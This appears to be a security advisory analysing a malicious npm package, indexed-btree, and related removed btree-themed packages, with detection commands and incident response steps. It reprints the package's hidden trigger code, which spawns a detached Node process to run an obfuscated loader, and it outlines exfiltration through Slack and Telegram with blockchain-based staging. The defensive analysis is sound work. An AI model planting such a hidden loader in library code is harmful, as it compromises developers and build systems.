critical

CVE

Not assigned

CWE

CWE-506, CWE-94, CWE-522

Affected Surface

  • npm package `indexed-btree` versions `2.1.1` and `2.1.2`
  • Related npm packages publicly associated with the same September campaign and later removed from npm: `ordered-kv-index`, `btree-leaderboard`, `priority-slot-queue`, `btree-range-store`, `btree-core`, `btree-time-index`, `btree-lru-cache`, `neighbor-key-map`, and `sliding-score-window`
  • Node.js services, developer workstations, and CI runners that executed the affected package code

The strongest new package-security write-up from the 15 to 18 September window is a reminder that lifecycle-script blocking does not solve the npm malware problem. Checkmarx’s 17 September analysis shows indexed-btree moving the trigger into ordinary library code. The package did not need preinstall or postinstall. It waited for the application to call BTree.prototype.set(), then forked a detached Node process that loaded an obfuscated first stage.

Public malicious-package records also pin the affected versions more tightly than the blog summary alone. Advisory data linked from the broader ecosystem identifies indexed-btree 2.1.1 and 2.1.2 as malicious. That matters because this is the kind of package that can slip past shallow install-time checks and still execute later, inside a real application path.

What is confirmed as affected

There are two different scopes in the current public reporting, and it helps to keep them separate.

The version-level malicious-package data is strongest for indexed-btree itself:

PackageConfirmed malicious versionsWhat is publicly confirmed
indexed-btree2.1.1, 2.1.2Runtime trigger in package code, no lifecycle-script dependency

Checkmarx also ties the same September campaign to a wider btree-themed package family that was later removed from npm:

  • ordered-kv-index
  • btree-leaderboard
  • priority-slot-queue
  • btree-range-store
  • btree-core
  • btree-time-index
  • btree-lru-cache
  • neighbor-key-map
  • sliding-score-window

Those package names matter for scoping and threat hunting. The public summary we cite does not publish a full per-version matrix for each removed package, so the safest wording is that they were publicly associated with the same campaign and removed from npm, not that every version ever published under those names was malicious.

The trigger sits in application code, not package.json

The key shift in this campaign is where execution begins. The malicious path sits in the package’s own API surface:

BTree.prototype.set = function (key, value, overwrite) {
    try {
        const path = require("path");
        const fs = require("fs");
        const {spawn} = require("child_process");
        const loadPath = path.join(__dirname, "extended", "sharedLoad.min.js");

        if (fs.existsSync(loadPath) && key == 100) {
            let child = spawn("node", [loadPath, String(key)], {
                detached: true,
                stdio: "ignore",
                windowsHide: true,
            });
            child.unref();
        }
    } catch (error) {}
    // ...
};

That snippet changes the usual detection story in three ways.

First, npm install can look quiet. There is no obvious lifecycle hook to trip a policy that only watches preinstall, install, or postinstall.

Second, the loader hides in a hot path that looks routine for the advertised package behavior. A set() method on a tree or index structure is exactly where developers expect normal code to run.

Third, the detached child process outlives the immediate function call. Once spawn("node", [loadPath, String(key)]) runs with detached: true and stdio: "ignore", the malicious chain no longer depends on the parent request, test, or script staying alive.

The key == 100 guard is worth noticing too. It narrows the trigger, which reduces noise during casual testing and makes a shallow “imported fine” smoke test even less useful.

The first stage fingerprints the host and decrypts the next stage from chain data

The public reverse engineering describes sharedLoad.min.js as an obfuscated first stage that handles both host reconnaissance and second-stage recovery.

Its reported behavior includes:

  • collecting system details such as architecture, hostname, CPU, memory, and uptime
  • exfiltrating that data through attacker-controlled Slack and Telegram channels
  • treating a Sepolia smart contract as the control plane for later-stage material
  • generating a local X25519 keypair, retrieving the attacker’s public key from the contract, and deriving a shared secret
  • using the derived secret to decrypt two ciphertext blobs into executable follow-on code

That chain is more robust than a single hardcoded domain:

application calls BTree.prototype.set()
  -> node extended/sharedLoad.min.js 100
  -> host fingerprinting
  -> read contract-controlled values from Sepolia
  -> X25519 shared-secret derivation
  -> AES decrypt ciphertext fragments
  -> assemble and run second stage

Checkmarx publishes one concrete infrastructure detail that is useful for hunting: the Sepolia contract address 0xE390863Dac96a7118C71227C2b099B50cF602D31. The contract indirection matters because it gives the operator a control point that does not look like the familiar “download stage two from one suspicious domain” pattern.

Why this package could look more legitimate than it was

The public story is not only about obfuscation. It is also about cover.

Checkmarx describes a package and repository presentation designed to feel normal:

  • a public GitHub repository at INDEXED-BTREE/indexed-btree
  • a small commit history
  • a project name close enough to familiar B-tree tooling to blend into routine package evaluation

Set that beside the real sorted-btree package, which has a long public history and an established maintainer trail, and the contrast is more useful than any one IOC. The problem is not only “the code was obfuscated.” It is that the package wrapped the hostile path in a plausible developer utility and put the real execution path where normal use would reach it.

That is also why the campaign matters even if one specific removed package later disappears from search results. Once the malicious behavior lives in ordinary method bodies, install-time allow/deny rules are only part of the defense.

Detection and scoping

Start with dependency manifests and lockfiles:

rg -n \
  "indexed-btree|ordered-kv-index|btree-leaderboard|priority-slot-queue|btree-range-store|btree-core|btree-time-index|btree-lru-cache|neighbor-key-map|sliding-score-window" \
  package.json package-lock.json pnpm-lock.yaml yarn.lock bun.lock .

Then inspect extracted package contents and build caches for the runtime loader path:

rg -n \
  "BTree\\.prototype\\.set|sharedLoad\\.min\\.js|child\\.unref\\(|0xE390863Dac96a7118C71227C2b099B50cF602D31" \
  node_modules .npm .pnpm-store "$HOME/.npm" 2>/dev/null

If you collect process telemetry, search for detached Node children whose parent process only touched what looked like ordinary application code:

node .../extended/sharedLoad.min.js
detached: true
stdio: ignore

Because several package names were later removed, local caches and CI logs may tell you more than the current live registry page.

Response guidance

Treat any host that installed and executed the affected package code as compromised.

  1. Isolate the workstation, runner, or service host.
  2. Remove the affected package references and rebuild from a reviewed lockfile on a clean system.
  3. Preserve package caches, extracted tarballs, and process logs before cleanup if you need forensics.
  4. Rotate credentials that were reachable from the Node.js process, including npm, GitHub, cloud, SSH, chat, and CI secrets.
  5. Hunt for follow-on activity rather than stopping at package removal. The detached loader design means the package manager event may be only the first observable step.

The important lesson from indexed-btree is straightforward. Attackers no longer need a lifecycle script if they can place the trigger in code your application was going to call anyway.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References